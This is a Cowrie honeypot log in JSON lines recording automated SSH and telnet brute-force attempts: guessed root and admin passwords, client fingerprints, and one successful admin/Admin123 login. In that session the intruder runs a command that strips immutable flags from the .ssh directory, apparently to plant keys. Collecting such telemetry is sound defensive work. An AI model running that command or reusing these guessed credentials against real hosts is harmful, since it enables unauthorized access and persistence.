{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:46:d2:a3:dd:77:6c:85:46:db:a2:78:fb:e7:d0:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc26asak6KzNFf47mT0HwRa+dhZJUZ+UDQbcInLEiw0UDYLfeof6cmJBcRWKVe/5tzDbWWnVl3jRzmVsRpKeSpSSLuk6/yP7WH3Y5ALHgueyl9UtunY+FJFM3mp9Vhk0c36rVCeJuASXCypt5Ux8n5jhjIZIHC8nmEuwzxqhmQolwc3CH2/LgjrRCVP5KgoThbgXwO0HLwHfu6fMUAbvIiHYUy2iKu5kSkvdEdOEGOKXfVakHjbMhlq2RHFTWhYh6JciVY3FNniInF0PmR/2WibKlOHgPgy1UE7dClp2mFNacgNzBIzQofX7IHeD8jo1mkMawlRqxWm2+GILPSfi/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.693599Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:41.777978Z","src_ip":"87.121.69.138","session":"ea27238322af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33183,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ffd45d39ed","protocol":"ssh","message":"New connection: 168.167.228.74:33183 (10.17.0.5:22) [session: 58ffd45d39ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:55.415343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:55.420799Z","src_ip":"168.167.228.74","session":"58ffd45d39ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:55.673527Z","src_ip":"168.167.228.74","session":"58ffd45d39ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321","message":"login attempt [root/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:56.713465Z","src_ip":"168.167.228.74","session":"58ffd45d39ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:57.970175Z","src_ip":"168.167.228.74","session":"58ffd45d39ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33184,"dst_ip":"10.17.0.5","dst_port":22,"session":"34cd793330d7","protocol":"ssh","message":"New connection: 168.167.228.74:33184 (10.17.0.5:22) [session: 34cd793330d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:19:59.860204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:19:59.864842Z","src_ip":"168.167.228.74","session":"34cd793330d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:20:00.120447Z","src_ip":"168.167.228.74","session":"34cd793330d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"BT@123456","message":"login attempt [root/BT@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:20:01.178063Z","src_ip":"168.167.228.74","session":"34cd793330d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:20:02.445659Z","src_ip":"168.167.228.74","session":"34cd793330d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33185,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ceacc2be96","protocol":"ssh","message":"New connection: 168.167.228.74:33185 (10.17.0.5:22) [session: 59ceacc2be96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:07.624110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:07.630431Z","src_ip":"168.167.228.74","session":"59ceacc2be96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:07.882869Z","src_ip":"168.167.228.74","session":"59ceacc2be96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxCDE#","message":"login attempt [root/zaq12wsxCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:08.925529Z","src_ip":"168.167.228.74","session":"59ceacc2be96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:10.181434Z","src_ip":"168.167.228.74","session":"59ceacc2be96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":57039,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4dae961b10","protocol":"telnet","message":"New connection: 212.55.149.117:57039 (10.17.0.5:23) [session: ed4dae961b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:15.388648Z"}
{"eventid":"cowrie.session.closed","duration":"300.4","message":"Connection lost after 300.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:21:38.548290Z","src_ip":"87.251.64.176","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e448f811394","protocol":"ssh","message":"New connection: 168.167.228.74:33186 (10.17.0.5:22) [session: 6e448f811394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:13.125842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:13.130303Z","src_ip":"168.167.228.74","session":"6e448f811394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:13.385576Z","src_ip":"168.167.228.74","session":"6e448f811394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111000","message":"login attempt [root/111000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:14.439150Z","src_ip":"168.167.228.74","session":"6e448f811394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20496,"dst_ip":"159.203.135.109","dst_port":22,"session":"db319ab7689c","protocol":"ssh","message":"New connection: 194.59.206.2:20496 (159.203.135.109:22) [session: db319ab7689c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:15.384025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:15.409842Z","src_ip":"194.59.206.2","session":"db319ab7689c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:15.476309Z","src_ip":"194.59.206.2","session":"db319ab7689c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:15.651843Z","src_ip":"194.59.206.2","session":"db319ab7689c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:15.696616Z","src_ip":"168.167.228.74","session":"6e448f811394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.95171070098877,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:22:17.340241Z","src_ip":"212.55.149.117","session":"ed4dae961b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":33441,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3f5b96a3a03","protocol":"ssh","message":"New connection: 193.24.211.100:33441 (159.203.135.109:22) [session: d3f5b96a3a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:07.212264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:07.232034Z","src_ip":"193.24.211.100","session":"d3f5b96a3a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:07.323526Z","src_ip":"193.24.211.100","session":"d3f5b96a3a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@aa","message":"login attempt [root/123456@aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:07.767572Z","src_ip":"193.24.211.100","session":"d3f5b96a3a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:08.880139Z","src_ip":"193.24.211.100","session":"d3f5b96a3a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33187,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa3c0d5c8c32","protocol":"ssh","message":"New connection: 168.167.228.74:33187 (10.17.0.5:22) [session: fa3c0d5c8c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:23.457525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:23.461959Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:23.718217Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123","message":"login attempt [admin/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:24.776208Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:25.340545Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:25.344239Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:25.348344Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:25.609094Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:26.154909Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
